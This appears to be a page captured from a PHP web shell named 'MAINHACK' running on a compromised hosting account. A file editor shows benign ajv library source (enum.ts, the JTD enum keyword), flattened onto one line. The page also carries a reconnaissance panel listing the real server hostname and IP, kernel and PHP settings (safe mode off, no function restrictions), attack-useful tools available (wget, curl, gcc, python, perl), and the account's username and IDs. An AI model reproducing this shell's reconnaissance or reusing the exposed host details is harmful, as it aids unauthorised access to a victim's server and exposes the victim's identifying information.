[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: enum.ts
import type {CodeKeywordDefinition, KeywordErrorDefinition, ErrorObject} from "../../types" import type {KeywordCxt} from "../../compile/validate" import {_, or, and, Code} from "../../compile/codegen" import {checkMetadata} from "./metadata" import {checkNullable} from "./nullable" export type JTDEnumError = ErrorObject<"enum", {allowedValues: string[]}, string[]> const error: KeywordErrorDefinition = { message: "must be equal to one of the allowed values", params: ({schemaCode}) => _`{allowedValues: ${schemaCode}}`, } const def: CodeKeywordDefinition = { keyword: "enum", schemaType: "array", error, code(cxt: KeywordCxt) { checkMetadata(cxt) const {gen, data, schema, schemaValue, parentSchema, it} = cxt if (schema.length === 0) throw new Error("enum must have non-empty array") if (schema.length !== new Set(schema).size) throw new Error("enum items must be unique") let valid: Code const isString = _`typeof ${data} == "string"` if (schema.length >= it.opts.loopEnum) { let cond: Code ;[valid, cond] = checkNullable(cxt, isString) gen.if(cond, loopEnum) } else { /* istanbul ignore if */ if (!Array.isArray(schema)) throw new Error("ajv implementation error") valid = and(isString, or(...schema.map((value: string) => _`${data} === ${value}`))) if (parentSchema.nullable) valid = or(_`${data} === null`, valid) } cxt.pass(valid) function loopEnum(): void { gen.forOf("v", schemaValue as Code, (v) => gen.if(_`${valid} = ${data} === ${v}`, () => gen.break()) ) } }, } export default def
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344